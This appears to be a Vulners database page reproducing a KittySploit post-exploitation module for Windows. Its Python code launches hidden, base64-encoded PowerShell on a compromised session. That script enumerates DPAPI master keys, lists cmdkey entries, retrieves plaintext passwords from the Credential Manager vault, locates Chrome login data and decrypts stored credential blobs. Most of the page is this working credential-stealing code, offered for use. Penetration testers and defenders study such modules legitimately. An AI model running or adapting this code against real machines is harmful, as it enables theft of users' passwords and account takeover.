Lucene search
+L

Windows Gather DPAPI Credentials

🗓️ 10 Jul 2026 11:31:42Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

KittySploit module for gathering DPAPI master keys, Credential Manager, and cmdkey credentials.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.post.windows.session import win_compat_failure_type, win_probe_powershell
import base64


class Module(Post):
    __info__ = {
        "name": "Windows Gather DPAPI Credentials",
        "description": (
            "Collect DPAPI master keys, Credential Manager vault entries, and cmdkey "
            "stored credentials without external Mimikatz"
        ),
        "author": "KittySploit Team",
        "platform": Platform.WINDOWS,
        "session_type": [SessionType.METERPRETER, SessionType.SHELL, SessionType.WINRM],
        "references": ["https://attack.mitre.org/techniques/T1555/003/"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 3,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    include_vault = OptBool(True, "Dump Windows Credential Manager vault", False)
    include_master_keys = OptBool(True, "List DPAPI master key files", False)
    include_cmdkey = OptBool(True, "List cmdkey stored credentials", False)
    try_decrypt_blobs = OptBool(False, "Attempt CurrentUser DPAPI decrypt on small blobs", False)

    def _execute_cmd(self, command: str) -> str:
        if not command:
            return ""
        output = self.cmd_execute(command)
        return output.strip() if output else ""

    def _run_powershell(self, script: str) -> str:
        encoded = base64.b64encode(script.encode("utf-16le")).decode("ascii")
        return self._execute_cmd(f"powershell -NoP -NonI -W Hidden -EncodedCommand {encoded}")

    def _ps_script(self) -> str:
        return r"""
$ErrorActionPreference = 'Stop'
function Out-Section($Title, $Text) {
    Write-Output ('=== ' + $Title + ' ===')
    if ($Text) { Write-Output $Text } else { Write-Output '(none)' }
}

$user = $env:USERPROFILE
$local = $env:LOCALAPPDATA
$masterPaths = @(
    Join-Path $user 'AppData\Roaming\Microsoft\Protect',
    Join-Path $local 'Microsoft\Protect'
) | Where-Object { Test-Path $_ }

$mk = @()
foreach ($p in $masterPaths) {
    Get-ChildItem -Path $p -Recurse -Filter '*.xml' -ErrorAction SilentlyContinue |
        Select-Object FullName, Length, LastWriteTime |
        ForEach-Object { $mk += "$($_.FullName) [$($_.Length) bytes] $($_.LastWriteTime)" }
}
Out-Section 'DPAPI master keys' ($mk -join "`n")

$cmdkey = cmdkey /list 2>&1 | Out-String
Out-Section 'cmdkey' $cmdkey

try {
    Add-Type -AssemblyName System.Security
    [void][Windows.Security.Credentials.PasswordVault, Windows.Security.Credentials, ContentType = WindowsRuntime]
    $vault = New-Object Windows.Security.Credentials.PasswordVault
    $entries = $vault.RetrieveAll() | ForEach-Object {
        $_.RetrievePassword()
        [PSCustomObject]@{ Resource = $_.Resource; UserName = $_.UserName; Password = $_.Password }
    }
    if ($entries) {
        Out-Section 'Password Vault' (($entries | Format-Table -AutoSize | Out-String).Trim())
    } else {
        Out-Section 'Password Vault' 'No vault entries'
    }
} catch {
    Out-Section 'Password Vault' ('Unavailable: ' + $_.Exception.Message)
}

$blobPaths = @(
    Join-Path $user 'AppData\Local\Google\Chrome\User Data\Default\Login Data',
    Join-Path $user 'AppData\Roaming\Microsoft\Credentials'
) | Where-Object { Test-Path $_ }
Out-Section 'DPAPI-related paths' (($blobPaths | ForEach-Object { $_ }) -join "`n")
"""

    def _decrypt_script(self) -> str:
        return r"""
$ErrorActionPreference = 'SilentlyContinue'
Add-Type -AssemblyName System.Security
$paths = @(
    "$env:APPDATA\Microsoft\Credentials\*",
    "$env:LOCALAPPDATA\Microsoft\Credentials\*"
)
$results = @()
Get-ChildItem $paths -ErrorAction SilentlyContinue | Select-Object -First 10 | ForEach-Object {
    try {
        $bytes = [IO.File]::ReadAllBytes($_.FullName)
        if ($bytes.Length -gt 8192) { return }
        $plain = [Security.Cryptography.ProtectedData]::Unprotect($bytes, $null, [Security.Cryptography.DataProtectionScope]::CurrentUser)
        $text = [Text.Encoding]::Unicode.GetString($plain)
        if ($text) { $results += "$($_.Name): $text" }
    } catch {}
}
if ($results) { $results -join "`n" } else { 'No CurrentUser DPAPI blobs decrypted' }
"""

    def run(self):
        if not win_probe_powershell(self._execute_cmd):
            raise ProcedureError(win_compat_failure_type(), "PowerShell is not available on the target")

        print_info("=" * 80)
        print_status("DPAPI / credential store collection")

        if self.include_master_keys or self.include_vault or self.include_cmdkey:
            output = self._run_powershell(self._ps_script())
            if output:
                for line in output.splitlines():
                    print_info(line)
            else:
                print_warning("PowerShell collector returned no output")

        if self.try_decrypt_blobs:
            print_info("-" * 80)
            print_status("CurrentUser DPAPI blob decrypt attempt")
            decrypted = self._run_powershell(self._decrypt_script())
            if decrypted:
                for line in decrypted.splitlines()[:40]:
                    print_info(f"  {line}")

        print_info("=" * 80)
        print_success("DPAPI credential gathering completed")
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.8Medium risk
Vulners AI Score5.8
1